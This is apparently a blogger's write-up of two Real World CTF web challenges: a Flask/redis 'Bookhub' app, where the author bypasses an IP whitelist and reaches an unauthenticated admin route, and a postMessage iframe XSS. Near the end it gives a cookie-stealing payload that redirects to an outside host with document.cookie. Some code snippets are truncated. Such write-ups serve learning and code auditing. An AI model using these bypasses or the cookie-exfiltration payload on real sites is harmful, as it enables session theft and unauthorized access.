Learn from Real-World CTF

I only solve few web challenges in this fierce CTF. However, it makes me more excited about learning so many things than being frustrated …

Hello! File fuzzing…


Bookhub is a web challenge built with flask/redis on nginx server. According to the server, I can categorize the exploit to four steps:

  1. Bypass IP whitelist
  2. Login or Unauthorized access
  3. Lua injection
  4. Picke unserialization to reverse shell
    I spent a little time and found two most important files from the source: forms/user.py,views/user.py. I will share what I learn in the first and second steps and separate them with two parts.
  • Bypass IP whitelist
    First, the Login form I need username,password, and csrf_token

    However, it responds me with the fact that I am not in the whitelist. Therefore, let me back to the source
class LoginForm(FlaskForm):
    username = StringField('username', validators=[DataRequired()])     # username is required
    password = PasswordField('password', validators=[DataRequired()])   # password is required
    remember_me = BooleanField('remember_me', default=False)

    def validate_password(self, field):
        address = get_remote_addr()     # X-Forwarded-For 
        whitelist = os.environ.get('WHITELIST_IPADDRESS', '')

        #whitelist={ –
        # –
        # –
        # –
        #  }

        # If you are in the debug mode or from office network (developer)
        if not app.debug and not ip_address_in(address, whitelist):
            raise StopValidation('your ip address isn\'t in the {whitelist}.')

        user = User.query.filter_by(username=self.username.data).first()
        if not user or not user.check_password(field.data):    # no such user or 
            raise StopValidation('Username or password error.')

From the response, I got the whitelist ip. When I trace the code of get_remote_addr(), I found the following code

address = flask.request.headers.get('X-Forwarded-For', flask.request.remote_addr)

Now here came my horrible mistake. I think I can forge my ip with xff, in fact, I can’t do it! By @phith0n who created this challenge: “Even you see the use of X-Forwarded-For to get IP in source code, it doesn’t means that you can forge the IP with it. You can try building a website to test it on CDN…”. What does this mean? Let us take a look in the Nginx Proxy conf:

location / {
	proxy_pass http://xxx.com;
	proxy_set_header Host $host;
	proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;   // this is the key part

In the wiki, I can see that the format of X-Forwarded-For is client(remote address), proxy1, proxy2. If there is no X-Forwarded-For header, then $proxy_add_x_forwarded_for is equal to remote address. However, when there is a proxy server, proxy1 will get the value of client’s X-Forwarded-For or remote address, and the proxy2 would get the remote address of proxy1’s. Therefore, the code of flask.request.headers.get() not only get single ip, but a series of ip split with comma(,). From here, we also can deduce that built on a nginx proxy server. I stopped by here during the CTF, and this is the second mistake that I didn’t test on the strange ip I saw on the page -

With nmap, I can see the 5000 port is open. After I request to it, I found a new world…

From the picture above, it seems that I not only pass the ip whitelist, but also pass the challenge of app.debug!

  • Login or Unauthorized access
    When I stopped by the challenge of whitelist, I try injection repeatedly in the login page. It was really a shame that after I found there were no any user data in migrations/versions/xxxxxxx.py. Instead of injection, here comes an interesting vulnerability about uses of python decorators. Different from Java and C++, Functions in python can become the role of parameters for other functions. Decorators can help developers to add function to existing function without destroying the structure.
def function():

In the above code: function(wrap2)->function(wrap1)->function(). Therefore, take a look at the source:

if app.debug:
    For CTF administrator, only running in debug mode

    def system():

    @user_blueprint.route('/admin/system/change_name/', methods=['POST'])
    def change_name():
        change username

        :return: json


    @user_blueprint.route('/admin/system/refresh_session/', methods=['POST'])
    def refresh_session():
        delete all session except the logined user

        :return: json

        return flask.jsonify(dict(status=status))

In the condition of app.debug, there are all decorators to system(),change_name(),refresh_session. However, there exists a difference between the order of decorators.

@user_blueprint.route('/admin/system/change_name/', methods=['POST'])
def change_name():

@user_blueprint.route('/admin/system/refresh_session/', methods=['POST'])
def refresh_session():    

For example, change_name(user_blueprint)->change_name(login_required)->change_name(), and it means that we need to login before we run the change_name. But we don’t require login before we refresh_session, that’s why we have unauthorized access!

  • Exp to the end and reflection
    I have never face Lua before, so I would like to take a research on this part at the other time. With exploit to make reverse shell, the flag can be readed. I think this challenge is at a high level of Code-Audit-Challenge. Instead of awesome tricks of someone, it requires we to take reflection on our basic knowledge, characteristics of various language, and control flow of source code. They are all necessary to people who want to make code-auditing.


This is a simple web challenge. Let us take a look at source code directly.

window.addEventListener('message', function(e) {
    if (e.data.iframe) {
        if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1 && e.data.iframe.value.indexOf("") == -1 && e.data.iframe.value && 
            typeof(e.data.iframe != 'object')) {

            if (e.data.iframe.type == "iframe") {
                lce(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.iframe.value], parent);
            } else {
}, false);
window.onload = function(ev) {
    postMessage(JSON.parse(decodeURIComponent(location.search.substr(1))), '*')

So the workflow of the challenge are:

  1. parse json in URI
  2. action message trigger lce() or lls
  3. append script
    It’s clear that format of our payload is:{"iframe":{"value":"xxxx"}}. If we want to pass the document.cookie to our own vps, we would need to write our url. However, we need to bypass dot, double slash, and unicode dot. To bypass the dot, I try the following code in PHP sandbox
    echo ip2long("my-vps");

    To bypass the double slash, we need xss of Protocol resolution bypass. We can change http:// to \\, but there is still something worth mention. First, replacement may work on chrome browser instead of other browser(firefox). \\ stands for the protocol of current domain on Linux, but stands for file protocol on chrome of Window version. Keep the point in the mind and I can change my vps ip now.


    On my-vps:port/index.html, the file content is document.location="http://receive.flag.com/?flag="+document.cookie;. Then I can go to my server to get the flag rwctf{L00kI5TheFlo9}.


All the source code of the contest you can finf on my github here
If you are interested in the complete version of Bookhub exploit, you can refer to here
// translates to http:// which saves a few more bytes. … You can also change the // to \\ “ About the words you can refer to here